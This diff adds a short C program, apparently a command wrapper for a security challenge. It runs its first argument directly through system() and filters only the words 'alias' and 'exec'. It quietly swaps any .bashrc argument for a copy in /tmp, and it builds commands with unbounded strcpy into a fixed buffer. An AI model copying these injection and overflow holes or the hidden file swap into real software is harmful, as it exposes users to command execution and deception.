+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main (int argc, char **argv) {
+ //printf("argc = %d", argc);
+ if (argc < 2) {
+ printf("Error: at least one argument is required\n");
+ return 1;
+ }
+ // check for alias or exec
+ if (strstr(argv[1], "alias") || strstr(argv[1], "exec")){
+ printf("There is nothing to see here, beggar off...\n");
+ return 0;
+ }
+
+ // Handle only the command
+ if (argc == 2) {
+ system(argv[1]);
+ return 0;
+ }
+ char *rep_file = "/tmp/.bashrc";
+ char command[500] = {'\0'};
+ strcpy(command, "/bin/"); // Prefix of the command
+ // We filter any .bashrc and replace it by our own
+ for (int i=1; i<argc; i++) {
+ if (strstr(argv[i], ".bashrc") != NULL){
+ strcpy(command + strlen(command), rep_file); // replace by our copy
+ }
+ else{
+ strcpy(command + strlen(command), argv[i]); // let the original
+ }
+ command[strlen(command)] = ' ';
+ }
+ // printf("Launching: %s\n", command);
+ system(command);
+ return 0;
+}